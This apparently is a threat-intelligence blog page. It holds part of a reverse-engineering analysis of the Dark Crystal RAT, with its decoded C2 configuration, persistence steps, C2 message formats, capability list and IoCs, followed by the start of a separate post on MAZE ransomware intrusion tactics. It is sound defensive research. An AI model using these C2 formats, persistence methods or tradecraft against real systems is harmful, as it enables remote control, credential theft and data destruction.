After deobfuscating dfsds.exe, we ran dnSpy again on the resulting dfsds_deob.exe. When we decompiled SchemaServerManager.Main again, the results were much different, as shown in Figure 10. Contrasting the new output with the obfuscated version shown previously in Figure 6, we found the deobfuscated code much more readable. In the deobfuscated version, all the calls to ExporterServerManager.InstantiateIndexer were removed; as suspected, it was apparently a string decoding routine. In contrast, the class names shown in the Assembly Explorer did not change; the obfuscator must have irrecoverably replaced the original class names with meaningless ones obtained from a standard list. Next, we noted that ten lines in Figure 10 hold base64-encoded data. Once the sample was successfully deobfuscated, it was time to move on to extracting its configuration and to follow the sample’s code path to its persistence capabilities and initial beacon.


Figure 10: Deobfuscating dfsds.exe shows that the method begins with some path manipulation and then accesses Base64-encoded data

Configuration, Persistence and Initial Beacon

Recall that in Figure 10 we found that the method SchemaServerManager.Main has a local variable containing Base64-encoded data; decoding that data revealed what it contains. Figure 11 shows the decoded configuration (with C2 endpoint URLs de-fanged):

> echo TUhvc3Q6aHR0cDovL2RvbWFsby5vbmxpbmUva3NlemJseGx2b3Uza2NtYnE4bDdoZjNmNGN5NXhnZW
80dWRsYTkxZHVldTNxYTU0LzQ2a3FianZ5a2x1bnAxejU2dHh6a2hlbjdnamNpM2N5eDhnZ2twdHgy
NWk3NG1vNm15cXB4OWtsdnYzL2FrY2lpMjM5bXl6b24weHdqbHhxbm4zYjM0dyxCSG9zdDpodHRwOi
8vZG9tYWxvLm9ubGluZS9rc2V6Ymx4bHZvdTNrY21icThsN2hmM2Y0Y3k1eGdlbzR1ZGxhOTFkdWV1
M3FhNTQvNDZrcWJqdnlrbHVucDF6NTZ0eHpraGVuN2dqY2kzY3l4OGdna3B0eDI1aTc0bW82bXlxcH
g5a2x2djMvYWtjaWkyMzlteXpvbjB4d2pseHFubjNiMzR3LE1YOkRDUl9NVVRFWC13TGNzOG8xTlZF
VXRYeEo5bjl5ZixUQUc6VU5ERUY= | base64 -d

MHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/
46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjl
xqnn3b34w,BHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91
dueu3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239
myzon0xwjlxqnn3b34w,MX:DCR_MUTEX-wLcs8o1NVEUtXxJ9n9yf,TAG:UNDEF

Figure 11: Decoding the base64 data in SchemaServerManager.Main reveals a configuration string

Figure 11 shows that the data decoded to a configuration string containing four values: MHost, BHost, MX, and TAG. We analyzed the code that parses this string and found that MHost and BHost were used as its main and backup command and control (C2) endpoints. Observe that the MHost and BHost values in Figure 11 are identical, so this sample did not have a backup C2 endpoint.

In dnSpy it is possible to give classes and methods meaningful names just as it is possible to name identifiers in IDA Pro. For example, the method SchemaServerManager.StopCustomer picks the name of a random running process. By right-clicking the StopCustomer identifier and choosing Edit Method, it is possible to change the method name to PickRandomProcessName, as shown in Figure 12.


Figure 12: Assigning meaningful names to methods makes it easier to keep analyzing the program

Continuing to analyze the SchemaServerManager.Main method revealed that the sample persists across reboots. The persistence algorithm can be summarized as follows:

  1. The malware picks the name of a random running process, and then copies itself to %APPDATA% and C:\. For example, if svchost.exe is selected, then the malware copies itself to %APPDATA%\svchost.exe and C:\svchost.exe.
  2. The malware creates a shortcut %APPDATA%\dotNET.lnk pointing to the copy of the malware under %APPDATA%.
  3. The malware creates a shortcut named dotNET.lnk in the logged-on user’s Startup folder pointing to %APPDATA%\dotNET.lnk.
  4. The malware creates a shortcut C:\Sysdll32.lnk pointing to the copy of the malware under C:\.
  5. The malware creates a shortcut named Sysdll32.lnk in the logged-on user’s Startup folder pointing to C:\Sysdll32.lnk.
  6. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss pointing to %APPDATA%\dotNET.lnk.
  7. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit pointing to C:\Sysdll32.lnk.

After its persistence steps, the malware checks for multiple instances of the malware:

  1. The malware sleeps for a random interval between 5 and 7 seconds.
  2. The malware takes the MD5 hash of the still-base64-encoded configuration string, and creates the mutex whose name is the hexadecimal representation of that hash. For this sample, the malware creates the mutex bc2dc004028c4f0303f5e49984983352. If this fails because another instance is running, the malware exits.

The malware then beacons, which also allows it to determine whether to use the main host (MHost) or backup host (BHost). To do so, the malware constructs a beacon URL based on the MHost URL, makes a request to the beacon URL, and then checks to see if the server responds with the HTTP response body “ok.” If the server does not send this response, then the malware unconditionally uses the BHost; this code is shown in Figure 13. Note that since this sample has the same MHost and BHost value (from Figure 11), the malware uses the same C2 endpoint regardless of whether the check succeeds or fails.


Figure 13: The malware makes an HTTP request based on the MHost URL to determine whether to use the MHost or BHost

The full algorithm to obtain the beacon URL is as follows:

  1. Obtain the MHost URL, i.e., hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54
    /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239my
    zon0xwjlxqnn3b34w
    .
  2. Calculate the SHA1 hash of the full MHost URL, i.e., 56743785cf97084d3a49a8bf0956f2c744a4a3e0.
  3. Remove the last path component from the MHost URL, and then append the SHA1 hash from above, and ?data=active. The full beacon URL is therefore hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54
    /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/56743785cf
    97084d3a49a8bf0956f2c744a4a3e0.php?data=active
    .

After beaconing the malware proceeds to send and receive messages with the configured C2.

Messages and Capabilities

After performing static analysis of dfsds.exe to determine how it selects the C2 endpoint and confirming the C2 endpoint URL, we shifted to dynamic analysis in order to collect sample C2 traffic and make it easier to understand the code that generates and accepts C2 messages. Luckily for our analysis, the malware continues to generate requests to the C2 endpoint even if the server does not send a valid response. To listen for and intercept requests to the C2 endpoint (domalo[.]online) without allowing the malware Internet access, we used FLARE’s FakeNet-NG tool. Figure 14 shows some of the C2 requests that the malware made being captured by FakeNet-NG.


Figure 14: FakeNet-NG can capture the malware's HTTP requests to the C2 endpoint

By comparing the messages generated by the malware and captured in FakeNet-NG with the malware’s decompiled code, we determined its message format and types. Observe that the last HTTP request visible in Figure 14 contains a list of running processes. By tracing through the decompiled code, we found that the method SchemaServerManager.ObserverWatcher.NewMerchant generated this message. We renamed this method to taskThread and assigned meaningful names to the other methods it calls; the resulting code for this method appears in Figure 15.


Figure 15: The method that generates the list of running processes and sends it to the C2 endpoint

By analyzing the code further, we identified the components of the URLs that the malware used to send data to the C2 endpoint, and how they are constructed.

Beacons

The first type of URL is a beacon, sent only once when the malware starts up. For this sample, the beacon URL was always hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzk
hen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/<hash>.php?data=active, where <hash> is the SHA1 hash of the MHost URL, as described earlier.

GET requests, format 1

When the malware needs to send data to or receive data from the C2, it sends a message. The first type of message, which we denote as “format 1,” is a GET request to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb
jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn
3b34w/<hash>.php? type=__ds_setdata&__ds_setdata_user=<user_hash>&__ds_setdata_ext=<message_hash>&__ds_setdata_data=<message>
, where:

  • <hash> is MD5(SHA1(MHost)), which for this sample, is 212bad81b4208a2b412dfca05f1d9fa7.
  • <user_hash> is a unique identifier for the machine on which the malware is running. It is always calculated as SHA1(OS_version + machine_name + user_name) as provided by the .NET System.Environment class.
  • <message_hash> identifies what kind of message the malware is sending to the C2 endpoint. The <message_hash> is calculated as MD5(<message_type> + <user_hash>), where <message_type> is a short keyword identifying the type of message, and <user_hash> is as calculated above.
    • Values for <message_type> exist for each command that the malware supports; for possible values, see the “msgs” variable in the code sample shown in Figure 19.
    • Observe that this makes it difficult to observe the message type visually from log traffic, or to write a static network signature for the message type, since it varies for every machine due to the inclusion of the <user_hash>.
    • One type of message uses the value u instead of a hash for <message_hash>.
  • <message> is the message data, which is not obscured in any way.

The other type of ordinary message is a getdata message. These are GET requests to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb
jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn
3b34w/<hash>.php? type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ext=<message_hash>&__ds_getdata_key=<key>
, where:

  • <hash> and <user_hash> are calculated as described above for getdata messages.
  • <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response.
  • <key> is MD5(<user_hash>).

The server is expected to respond to a getdata message with an appropriate response for the type of message specified by <message_hash>.

GET requests, format 2

A few types of messages from the malware to the C2 use a different format, which we denote as “format 2.” These messages are GET requests of the form hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzkhen7gj
ci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn3b34w/<user_hash>.<mes
sage_hash>
, where:

  • <user_hash> is calculated as described above for getdata messages.
  • <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. <message_hash> may also be the string comm.

Table 1 shows possible <message_types> that may be incorporated into <message_hash> as part of format 2 messages to instruct the server which type of response is desired. In contrast to format 1 messages, format 2 messages are only used for a handful of <message_type> values.

<message_type>

Response desired

s_comm

The server sends a non-empty response if a screenshot request is pending

m_comm

The server sends a non-empty response if a microphone request is pending

RDK

The server responds directly with keystrokes to replay

comm

The server responds directly with other types of tasking

Table 1: Message types when the malware uses a special message to request tasking from the server

POST requests

When the malware needs to upload large files, it makes a POST request. These POST requests are sent to hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb
jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn
3b34w/<hash>.php
, with the following parameters in the POST data:

  • name is <user_hash> + "." + <message_type>, where <user_hash> is calculated as described above and <message_type> is the type of data being uploaded.
  • upload is a file with the data being sent to the server.

Table 2 shows possible <message_type> values along with the type of file being uploaded.

<message_type>

Type of File

jpg

Screenshot

zipstealerlog

Cookie stealer log

wav

Microphone recording

file

Uploaded file

bmp

Webcam image

RD.jpg

Remote control screenshot

Table 2: Message types when files are uploaded to the server

Capabilities

By analyzing the code that handles the responses to the comm message (format 2), it was possible for us to inventory the malware’s capabilities. Table 3 shows the keywords used in responses along with the description of each capability.

Keyword

Description

shell

Execute a shell command

deleteall

Recursively delete all files from C:, D:, F:, and G:

closecd

Close the CD-ROM drive door

setwallpaper

Change the background wallpaper

ddos

Send TCP and UDP packets to a given host or IP address

logoff

Log off the current user

keyboardrecorder

Replay keystrokes as if the user had typed them

fm_newfolder

Create a new folder

fm_rename

Rename or move a file

desktopHide

Hide desktop icons

keyloggerstart

Start logging keystrokes

exec_cs_code

Compile and execute C# code

msgbox

Open a Windows MessageBox

fm_upload

Transfer a file from the C2 to the client

rdp

Re-spawn the malware running as an administrator

fm_zip

Build a ZIP file from a directory tree and transfer it from the client to the C2

webcam

Take a webcam picture

fm_unzip

Unzip a ZIP file to a given path on the client

keyloggerstop

Stop logging keystrokes

fm_drives

Enumerate drive letters

cookiestealer

Transfer cookies and browser/FileZilla saved credentials to the C2

fm_delete

Recursively delete a given directory

dismon

Hide desktop icons and taskbar

fm_uploadu

Transfer a file from the C2 to the client

taskstart

Start a process

cleardesktop

Rotate screen

lcmd

Run shell command and send standard output back to C2

taskbarShow

Show taskbar

clipboard

Set clipboard contents

cookiestealer_file

Save cookies and credentials to a local file

newuserpass

Create a new local user account

beep

Beep for set frequency and duration

speak

Use speech synthesizer to speak text

openchat

Open chat window

taskbarHide

Hide the taskbar

RDStart

Start remote control over user’s desktop

closechat

Close chat window

RDStop

Stop remote control over user’s desktop

fm_opendir

List directory contents

uninstall

Remove the malware from the client

taskkill

Kill a process

forkbomb

Endlessly spawn instances of cmd.exe

fm_get

Transfer a file from the client to the C2

desktopShow

Show desktop icons

Clipboardget

Transfer clipboard contents to C2

playaudiourl

Play a sound file

opencd

Open the CD-ROM drive door

shutdown

Shut down the machine

restart

Restart the machine

browseurl

Open a web URL in the default browser

Table 3: Capabilities of DCRat

Proof-of-Concept Dark Crystal RAT Server

After gathering information from Dark Crystal RAT about its capabilities and C2 message format, another way to illustrate the capabilities and test our understanding of the messages was to write a proof-of-concept server. Here is a code snippet that we wrote containing a barebones DCRat server written in Python. Unlike a real RAT server, this one does not have a user interface to allow the attacker to pick and launch commands. Instead, it has a pre-scripted command list that it sends to the RAT.

When the server starts up, it uses the Python BaseHTTPServer to begin listening for incoming web requests (lines 166-174). Incoming POST requests are assumed to hold a file that the RAT is uploading to the server; this server assumes all file uploads are screenshots and saves them to “screen.png” (lines 140-155). For GET requests, the server must distinguish between beacons, ordinary messages, and special messages (lines 123-138). For ordinary messages, __ds_setdata messages are simply printed to standard output, while the only __ds_getdata message type supported is s_comm (screenshot communications), to which the server responds with the desired screenshot dimensions (lines 63-84). For messages of type comm, the server sends four types of commands in sequence: first, it hides the desktop icons; then, it causes the string “Hello this is tech support” to be spoken; next, it displays a message box asking for a password; finally, it launches the Windows Calculator (lines 86-121).

Figure 16 shows the results when Dark Crystal RAT is run on a system that has been configured to redirect all traffic to domalo[.]online to the proof-of-concept server we wrote.


Figure 16: The results when a Dark Crystal RAT instance communicates with the proof-of-concept server

Other Work and Reconnaissance

After reverse engineering Dark Crystal RAT, we continued reconnaissance to see what additional information we could find. One limitation to our analysis was that we did not wish to allow the sample to communicate with the real C2, so we kept it isolated from the Internet. To learn more about Dark Crystal RAT we tried two approaches: the first was to browse the Dark Crystal RAT website (files.dcrat[.]ru) using Tor, and the other was to take a look at YouTube videos of others’ experiments with the “real” Dark Crystal RAT server.

Dark Crystal RAT Website

We found that Dark Crystal RAT has a website at files.dcrat[.]ru, shown in Figure 17. Observe that there are options to download the RAT itself, as well as a few plugins; the DCLIB extension is consistent with the plugin loading code we found in the RAT.


Figure 17: The website files.dcrat[.]ru allows users to download Dark Crystal RAT and some of its plugins

Figure 18 shows some additional plugins, including plugins with the ability to resist running in a virtual machine, disable Windows Defender, and disable webcam lights on certain models. No plugins were bundled with the sample we studied.


Figure 18: Additional plugins listed on the Dark Crystal RAT website

Figure 19 lists software downloads on the RAT page. We took some time to look at these files; here are some interesting things we discovered:

  • The DCRat listed on the website is actually a “builder” that packages a build of the RAT and a configuration for the attacker to deploy. This is consistent with the name DCRatBuild.exe shown back in Figure 4. In our brief testing of the builder, we found that it had a licensing check. We did not pursue bypassing it once we found public YouTube videos of the DCRat builder in operation, as we show later.
  • The DarkCrystalServer is not self-contained, rather, it is just a PHP file that allows the user to supply a username and password, which causes it to download and install the server software. Due to the need to supply credentials and communicate back with dcrat[.]ru (Figure 20), we did not pursue further analysis of DarkCrystalServer.


Figure 19: The RAT page lists software for the RAT, the server, an API, and plugin development


Figure 20: The DarkCrystalServer asks for a username and password and calls back to dcrat[.]ru to download software, so we did not pursue it further

YouTube Videos

As part of confirming our findings about Dark Crystal RAT capabilities that we obtained through reverse engineering, we found some YouTube demonstrations of the DCRat builder and server.

The YouTube user LIKAR has a YouTube demonstration of Dark Crystal RAT. The author demonstrates use of the Dark Crystal RAT software on a server with two active RAT instances. During the video, the author browses through the various screens in the software. This made it easy to envision how a cyber threat would use the RAT, and to confirm our suspicions of how it works.

Figure 21 shows a capture from the video at 3:27. Note that the Dark Crystal RAT builder software refers to the DCRatBuild package as a “server” rather than a client. Nonetheless, observe that one of the options was a type of Java, or C# (Beta). By watching this YouTube video and doing some additional background research, we discovered that Dark Crystal RAT has existed for some time in a Java version. The C# version is relatively new. This explained why we could not find much detailed prior reporting about it.


Figure 21: A YouTube demonstration revealed that Dark Crystal RAT previously existed in a Java version, and the C# version we analyzed is in beta

Figure 22 shows another capture from the video at 6:28. The functionality displayed on the screen lines up nicely with the “msgbox”, “browseurl”, “clipboard”, “speak”, “opencd”, “closecd”, and other capabilities we discovered and enumerated in Table 6.


Figure 22: A YouTube demonstration confirmed many of the Dark Crystal RAT capabilities we found in reverse engineering

Conclusion

In this post we walked through our analysis of the sample that the threat intel team provided to us and all its components. Through our initial triage, we found that its “dfsds.exe” component is Dark Crystal RAT. We found that Dark Crystal RAT was a .NET executable, and reverse engineered it. We extracted the malware’s configuration, and through dynamic analysis discovered the syntax of its C2 communications. We implemented a small proof-of-concept server to test the correct format of commands that can be sent to the malware, and how to interpret its uploaded screenshots. Finally, we took a second look at how actual threat actors would download and use Dark Crystal RAT.

To conclude, indicators of compromise for this version of Dark Crystal RAT (MD5: 047af34af65efd5c6ee38eb7ad100a01) are given in Table 4.

Indicators of Compromise

Dark Crystal RAT (dfsds.exe)

Handle artifacts

 

Mutex name

bc2dc004028c4f0303f5e49984983352

Registry artifacts

 

Registry value

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss

Registry value

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit

File system artifacts

 

File

C:\Sysdll32.lnk

File

%APPDATA%\dotNET.lnk

File

Start Menu\Programs\Startup\Sysdll32.lnk

File

Start Menu\Programs\Startup\dotNET.lnk

File

%APPDATA%\<random process name>.exe

File

C:\<random process name>.exe

Network artifacts

 

HTTP request

hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due
u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl
vv3/212bad81b4208a2b412dfca05f1d9fa7.php?data=active

HTTP request

hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due
u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl
vv3/akcii239myzon0xwjlxqnn3b34w212bad81b4208a2b412dfca05f1d9f
a7.php? type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ex
t=<message_hash>&__ds_getdata_key=<key>

HTTP request

hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp
1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xw
jlxqnn3b34w/<user_hash>.<message_hash>

TCP connection

domalo[.]online:80

TCP connection

ipinfo[.]ip

DNS lookup

domalo[.]online

DNS lookup

ipinfo[.]ip

Strings

 

Static string

DCRatBuild

Table 4: IoCs for this instance of DCRat

FireEye Product Support for Dark Crystal RAT

Table 5 describes how FireEye products react to the initial sample (MD5: b478d340a787b85e086cc951d0696cb1) and its Dark Crystal RAT payload, or in the case of Mandiant Security Validation, allow a stakeholder to validate their own capability to detect Dark Crystal RAT.

FireEye Product

Support for Dark Crystal RAT

FireEye Network Security (NX)

Backdoor.Plurox detection

FireEye Email Security (EX & ETP)

Backdoor.MSIL.DarkCrystal, Backdoor.Plurox, Malware.Binary.exe, Trojan.Vasal.FEC3, Win.Ransomware.Cerber-6267996-1, fe_ml_heuristic detections

FireEye Endpoint Security (HX)

Trojan.GenericKD.32546165, Backdoor.MSIL.DarkCrystal detections

FireEye Malware Analysis (AX)

Backdoor.Plurox.FEC2 detection

FireEye Detection on Demand (DoD)

Backdoor.Plurox.FEC2, FireEye.Malware detections

Mandiant Security Validation

Built-in Action coming soon

Table 5: Support in FireEye products to detect Dark Crystal RAT or validate detection capability

Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents

Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies. FireEye Mandiant Threat Intelligence has previously documented this threat in our investigations of trends across ransomware incidents, FIN6 activity, implications for OT networks, and other aspects of post-compromise ransomware deployment. Since November 2019, we’ve seen the MAZE ransomware being used in attacks that combine targeted ransomware use, public exposure of victim data, and an affiliate model.

Malicious actors have been actively deploying MAZE ransomware since at least May 2019. The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee.

The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations. This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations.

Mandiant Threat Intelligence will be available to answer questions on the MAZE ransomware threat in a May 21 webinar.

Victimology

We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019. These organizations have been primarily based in North America, although victims spanned nearly every geographical region. Nearly every industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1).


Figure 1: Geographical and industry distribution of alleged MAZE victims

Multiple Actors Involved in MAZE Ransomware Operations Identified

Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams. Additional information on these actors is available to Mandiant Intelligence subscribers. A panel used to manage victims targeted for MAZE ransomware deployment has a section for affiliate transactions. This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group. Under this business model, ransomware developers will partner with other actors (i.e. affiliates) who are responsible for distributing the malware. In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission. Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment. This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis. Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues. This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit.


Figure 2: MAZE ransomware panel

MAZE Initially Distributed via Exploit Kits and Spam Campaigns

MAZE ransomware was initially distributed directly via exploit kits and spam campaigns through late 2019. For example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea. These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware.

On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige informationen uber Steuerruckerstattung” and “1&1 Internet AG - Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3). Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently. These emails were sent using a number of malicious domains created with the registrant address gladkoff1991@yandex.ru.


Figure 3: German-language lure

On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United states. These emails originated from a compromised or spoofed account and contained an inline link to download a Maze executable payload.

On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). These emails used the subjects “Missed package delivery” and "Your AT&T wireless bill is ready to view" and were sent using a number of malicious domains with the registrant address abusereceive@hitler.rocks. Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019.


Figure 4: AT&T email lure


Figure 5: Canada Post email lure

Shift to Post-Compromise Distribution Maximizes Impact

Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise. This methodology provides an opportunity to infect more hosts within a victim’s environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees. Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data.

Although the high-level intrusion scenarios preceding the distribution of MAZE ransomware are broadly similar, there have been notable variations across intrusions that suggest attribution to distinct teams. Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle. The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations. Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months.

Initial Compromise

There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents. This is consistent with our observations of multiple actors who use MAZE soliciting partners with network access. The following are a sample of observations from several Mandiant incident response engagements:

  • A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON.
  • An actor logged into an internet-facing system via RDP. The account used to grant initial access was a generic support account. It is unclear how the actor obtained the account's password.
  • An actor exploited a misconfiguration on an Internet-facing system. This access enabled the actor to deploy tools to pivot into the internal network.
  • An actor logged into a Citrix web portal account with a weak password. This authenticated access enabled the actor to launch a Meterpreter payload on an internal system.

Establish Foothold & Maintain Presence

The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate objective of deploying MAZE ransomware. Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations.

  • Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations.
  • Web shells were deployed to an internet-facing system. The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor.
  • Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations.
  • An actor created a new domain account and added it to the domain administrators group.

Escalate Privileges

Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials.

  • Less than two weeks after initial access, the actor downloaded and interacted with an archive named mimi.zip, which contained files corresponding to the credential harvesting tool Mimikatz. In the following days the same mimi.zip archive was identified on two domain controllers in the impacted environment.
  • The actor attempted to find files with the word “password” within the environment. Additionally, several archive files were also created with file names suggestive of credential harvesting activity.
  • The actor attempted to identify hosts running the KeePass password safe software.
  • Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges.
  • Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion. Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers' efforts to understand the impacted organization's Active Directory configuration. In this case the responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services.

Reconnaissance

Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents. The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks.

  • In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network. The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information.
  • Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations.
  • Preliminary network reconnaissance has been conducted using a batch script named '2.bat' which contained a series of nslookup commands. The output of this script was copied into a file named '2.txt'.
  • The actor exfiltrated reconnaissance command output data and documents related to the IT environment to an attacker-controlled FTP server via an encoded PowerShell script.
  • Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts.
  • An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users. The output from this batch script (2adfind.bat) was saved into an archive named 'ad.7z' using an instance of the 7zip archiving utility named 7.exe.
  • An actor used the tool smbtools.exe to assess whether accounts could login to systems across the environment.
  • An actor collected directory listings from file servers across an impacted environment. Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration.

Lateral Movement

Across the majority of MAZE ransomware incidents lateral movement was accomplished via Cobalt Strike BEACON and using previously harvested credentials. Despite this uniformity, some alternative tools and approaches were also observed.

  • Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation.
  • The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. This allowed them to obtain immediate access to additional systems. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts.
  • An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account.
  • At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful.

Complete Mission

There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents. While malicious actors could monetize stolen data in various way (e.g. sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of stolen data if victim organizations do not pay an extortion fee.

  • An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password. This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013.
  • A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident.
  • Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server.
  • An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service.
  • Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares. These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility.

In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands.

